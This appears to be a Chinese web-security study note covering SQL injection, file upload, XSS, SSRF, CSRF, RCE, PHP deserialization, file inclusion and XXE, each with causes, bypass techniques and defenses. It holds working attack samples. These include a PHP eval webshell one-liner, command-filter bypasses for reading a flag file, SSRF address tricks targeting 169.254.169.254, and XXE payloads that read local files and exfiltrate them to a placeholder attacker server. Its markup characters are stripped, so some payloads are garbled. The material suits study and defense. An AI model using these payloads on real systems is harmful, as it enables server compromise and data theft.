荆门公司做网站,软件开发外包要多少钱,企业移动网站建设商,混沌鸿蒙网站建设一. SQL注入原理的种类#xff1f;防御呢#xff1f;预编译原理#xff1f; 原理#xff1a;在数据交互中#xff0c;前端的数据传入到后台处理时#xff0c;由于后端没有做严格的判 断#xff0c;导致其传入的“数据”拼接到SQL语句中后#xff0c;被当作SQL语句的一部…一. SQL注入原理的种类防御呢预编译原理 原理在数据交互中前端的数据传入到后台处理时由于后端没有做严格的判 断导致其传入的“数据”拼接到SQL语句中后被当作SQL语句的一部分执行。 种类字符数字布尔报错延迟联合堆叠宽字节XFF等 修复使用预编译PDO正则表达式过滤开启魔术引号加装WAF等 预编译原理预编译将一次查询通过两次交互完成第一次交互发送查询语句的 模板由后端的SQL引擎进行解析为AST或Opcode第二次交互发送数据代 入AST或Opcode中执行无论后续向模板传入什么参数这些参数仅仅被当成 字符串进行查询处理因此杜绝了sql注入的产生。
二.文件上传 文件上传漏洞是指用户通过界面上的上传功能上传了一个可执行的脚本文件而WEB端的系统并未对其进行检测或者检测的逻辑做的不够好。 通过来说文件上传功能是没有问题的主要是服务器如何对上传的文件如何进行处理。 若WEB未对用户上传的文件进行有效的审查若存在恶意用户对其上传一句话木马从而实现控制WEB网站的目的。
种类
1.前端Js
2.htaccess AddType application/x-httpd-php .png
3.MIME类型
Content-Typeimage/png
4.文件头判断
GIF89a
5、黑名单-过滤不严 无递归pphphp 6、黑名单-过滤不严 系统大小写敏感属性 7、低版本GET-%00截断 自动解码一次 /var/www/html/upload/x.php%00 8、低版本POST-%00截断 手工解码一次 ../upload/x.php%00 二次解码 9、黑名单-过滤不严 php3 10、逻辑不严-条件竞争 ?php fputs(fopen(xiao.php,w),?php eval($_REQUEST[1]);?);? 上传不断发包 请求不断发包 11、二次渲染 先搞个正常图片上传导出渲染后的图片 对比保留部分在保留部分添加后门代码 最后利用提示的文件包含执行图片后门代码 11、函数缺陷 move_uploaded_file 1.php/. 12、代码审计-数组绕过
防御
1、执行权限 文件上传后存储目录不给执行权限 2、解码还原 数据做存储解析固定文件后缀名无关 文件上传后利用编码传输解码还原 #文件-存储方案-分站存储OSS对象 1、分站存储 upload.xiaodi8.com 上传 images.xiaodi8.com 存储 2、OSS对象 Access控制-OSS对象存储-Bucket对象
3.XSS 漏洞简介 XSS又叫CSSCross Site Script跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码当用户浏览该页之时嵌入其中Web里面的Script代码会被执行从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中通过用户本地浏览器执行的所以xss漏洞关键就是寻找参数未过滤的输出函数。 常见的输出函数有 echo printf print print_r sprintf die var-dump var_export.
分类 反射型 存储型 dom型
绕过方式
1.空格过滤
当空格被过滤了时我们可以用 / 来代替空格
2.引号过滤
3.括号过滤
4.关键字过滤大小写绕过
双写绕过
5.字符串拼接绕过
6.编码绕过
7.过滤url地址
8.伪协议
防御
字符过滤实体化编码http_onlyCSP防护WAF拦截等
四、SSRF是什么 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的所以它能够请求到与它相连而与外网隔离的内部系统
危害
1.可以对外网、服务器所在内网、本地进行端口扫描获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序比如溢出;
3.对内网web应用进行指纹识别通过访问默认文件实现;
4.攻击内外网的web应用主要是使用get参数就可以实现的攻击比如struts2sqli等;
5.利用file协议读取本地文件等。.
6.各个协议调用探针http,file,dict,ftp,gopher等
http:192.168.64.144/phpmyadmin/ file:///D:/www.txt dict://192.168.64.144:3306/info ftp://192.168.64.144:21
绕过方式
1、限制为http://www.xxx.com 域名时利用
2.采用短网址绕过
3.采用进制转换
127.0.0.1八进制0177.0.0.1。十六进制0x7f.0.0.1。十进制2130706433.
4.利用特殊域名
原理是DNS解析。xip.io可以指向任意域名即 127.0.0.1.xip.io可解析为127.0.0.1
5.利用[::]
可以利用[::]来绕过localhost http://169.254.169.254http://[::169.254.169.254]
6.利用句号
127。0。0。1 127.0.0.1
7、CRLF 编码绕过
%0d-0x0d-\r回车 %0a-0x0a-\n换行 进行HTTP头部注入 2、常见限制
1.限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过即 http://www.xxx.comwww.xxc.com
2.限制请求IP不为内网地址
当不允许ip为内网地址时 1采取短网址绕过 2采取特殊域名 3采取进制转换
3.限制请求只为http协议
1采取302跳转 2采取短地址
SSRF漏防御 通常有以下5个思路
1,过滤返回信息验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2, 统一错误信息避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口比如80,443,8080,8090。
4,黑名单内网ip。避免应用被用来获取获取内网数据攻击内网。
5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
五 csrf
什么是CSRF? CSRF (Cross-site request forgery跨站请求伪造)也被称为One Click Attack或者Session Riding通常缩写为CSRF或者XSRF是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS)但它与XSS非常不同XSS利用站点内的信任用户而CSRF则通过伪装成受信任用户请求受信任的网站。
种类分为
get 和 post
利用
绕过0规则匹配绕过问题代码逻辑不严谨 1、meta namereferrer contentno-referrer 2、http://xx.xx.xx.xx/http://xx.xx.xx.xx
绕过1配合文件上传绕过严谨使用同源绕过
绕过2配合存储XSS绕过严谨使用同源绕过 绕过0将Token参数值复用代码逻辑不严谨
绕过1将Token参数删除代码逻辑不严谨
绕过2将Token参数值置空代码逻辑不严谨
防御
1、验证码
2、在请求地址中添加 token 并验证
3、在 HTTP 头中自定义属性并验证
4、验证 HTTP Referer 字段
六.RCE
RCE代码执行引用脚本代码解析执行 -RCE命令执行脚本调用操作系统命令 漏洞函数 1.PHP PHP代码执行函数 eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等 PHP命令执行函数 system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等 2.Python eval exec subprocess os.system commands 3.Java Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数 但是有反射机制并且有各种基于反射机制的表达式引擎如: OGNL、SpEL、MVEL等.
代码执行 脚本——javaphppython 产生——Web源码、中间件平台、其他环境 检测——白盒 代码审计 检测——黑盒 漏扫工具、公开漏洞、手工看参数及功能点 防御——敏感函数禁用、变量过滤或固定、WAF产品 命令执行 系统——Linux、Windows 产生——web源码、中间件平台、其他环境 检测——白盒 代码审计 检测——黑盒 漏扫工具公开漏洞手工看参数及功能点 防御——敏感函数禁用、变量过滤或固定、WAF产
1关键字过滤
1、过滤flag关键字
通配符
flagfl* cat fl* cat ?la*
2、转义符号
ca\t /fl\ag
cat flag
2、1使用空变量$*和$$x,${x}绕过
ca$*t fl$*ag ca$t
fl$ag ca$5t
f$5lag ca${2}t
f${2}lag
3、拼接法 afl;bag;cat$IFS$a$b
4、反引号绕过:
cat ls
5、编码绕过:
echo flag | base64
cat echo ZmxhZwo | base64 -d
6、组合绝活
touch ag touch fl\\
touch t \\
touch ca\\
ls -t shell
sh shell
# \指的是换行
# ls -t是将文本按时间排序输出
# ls -t shell 将输出输入到shell文件中
# sh将文本中的文字读取出来执行
7、异或无符号过滤0-9a-zA-Z
异或rce-xor.php rce-xor.py
或rce-xor-or.php rce-xor-or.py
2过滤函数关键字
1、内敛执行绕过system
echo ls;
echo $(ls);
??ls;
??$(ls);
3、过滤空格
{cat,flag}; ${IFS$; $IFS$9; ; ;
3无回显利用 1、直接写个文件访问查看 2、直接进行对外访问接受 RCE漏洞危害 ①继承Web服务器程序权限去执行系统命令 ②继承Web服务器权限读写文件 ③反弹shell ④控制整个网站甚至是服务器
RCE漏洞防护 ①对用户的输入作严格的过滤如白名单策略 ②尽量不使用容易产生漏洞的危险函数 ③保证用户不用控制危险函数的传参
七.php反序列化
1.概述 反序列化是将序列化得到的字符串转化为一个对象的过程 反序列化生成的对象的成员属性值由被反序列化的字符串决定与原来类预定义的值无关 反序列化使用unserialize()函数将字符串转换为对象序列化使用serialize()函数将对象转化为字符串
2.常见PHP魔术方法- 对象逻辑 __construct(): //当对象new的时候会自动调用
__destruct()//当对象被销毁时会被自动调用
__sleep(): //serialize()执行时被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用
__toString(): //把类当作字符串使用时触发
__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。 __callStatic(): //在静态上下文中调用不可访问的方法时触发
__get(): //读取对象属性时,若存在,则返回属性值;若不存在则会调用__get函数
__set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__set_state()调用var_export()导出类时此静态方法会被调用
__clone()当对象复制完成时调用
__autoload()尝试加载未定义的类
__debugInfo()打印所需调试信息
3.构造pop
方法
1. __wakeup()方法漏洞
2. O:6绕过正则
3. 引用
4. 对类属性不敏感
5. 大写S当十六进制绕过
6.php类名不区分大小写
危害
任意代码执行数据泄露拒绝服务攻击权限提升
防御
不要反序列化来自不可信来源的数据。使用反序列化过滤器来限制反序列化的数据类型。保持PHP应用程序和库的最新状态。使用安全编码实践。 八.文件包含
1.文件包含漏洞概述 和SQL注入等攻击方式一样文件包含漏洞也是一种注入型漏洞其本质就是输入一段用户能够控制的脚本或者代码并让服务端执行。
什么叫包含呢以PHP为例我们常常把可重复使用的函数写入到单个文件中在使用该函数时直接调用此文件而无需再次编写函数这一过程叫做包含。
有时候由于网站功能需求会让前端用户选择要包含的文件而开发人员又没有对要包含的文件进行安全考虑就导致攻击者可以通过修改文件的位置来让后台执行任意文件从而导致文件包含漏洞。
危害
远程代码执行攻击者可能能够执行任意代码这可能导致服务器被完全控制。 敏感数据泄露攻击者可能访问应用程序的数据库和文件系统获取敏感信息。 网站完全被控制通过注入恶意文件或脚本攻击者可以控制网站的行为。 DDoS攻击通过滥用文件包含漏洞攻击者可以发起资源耗尽攻击影响网站的正常运行。
利用
4、利用 本地利用思路
1、配合文件上传
2、无文件包含日志
3、无文件包含SESSION
4、无文件支持伪协议利用
防御 1、使用str_replace等方法过滤掉危险字符
2、配置open_basedir防止目录遍历open_basedir 将php所能打开的文件限制在指定的目录树中
3、php版本升级防止%00截断
4、对上传的文件进行重命名防止被读取
5、对于动态包含的文件可以设置一个白名单不读取非白名单的文件。
6、做好管理员权限划分做好文件的权限管理allow_url_include和allow_url_fopen最小权限化
九XEE 漏洞成因解析时未对XML外部实体加以限制导致攻击者将恶意代码注入到XML中导致服务器加载恶意的外部实体引发文件读取SSRF命令执行等危害操作。
特征在HTTP的Request报文出现一下请求报文即表明此时是采用XML进行数据传输就可以测试是否存在XML漏洞。
Content-type:text/xml application/xml
利用
把语句放到请求包
回显
1、读取文件
?xml version1.0?
!DOCTYPE xiaodi [
!ENTITY test SYSTEM file:///d:/1.txt
]
userusernametest;/usernamepasswordxiaodi/password/user
2.无回显
1.带外测试
1、读取文件
?xml version1.0?
!DOCTYPE xiaodi [
!ENTITY test SYSTEM file:///d:/1.txt
]
userusernametest;/usernamepasswordxiaodi/password/user
2、外部引用实体dtd
?xml version1.0 ?
!DOCTYPE test [ !ENTITY % file SYSTEM http://127.0.0.1:8081/xiaodi.dtd %file;
]
userusernamesend;/usernamepasswordxiaodi/password/user xiaodi.dtd
无回显
OOB
先使用php://filter获取目标文件的内容然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
?xml version1.0?
!DOCTYPE ANY[
!ENTITY % file SYSTEM file:///d:/1.txt !ENTITY % remote SYSTEM http://xxx.xxx.xxx/test.dtd %remote;
%all;
]
危害
文件读取命令执行DOS攻击SSRF
防御
XXE漏洞归根结底在于XML文档解析引入外部实体禁止加载外部实体。
使用安全的libxml依赖库版本在2.9以上的版本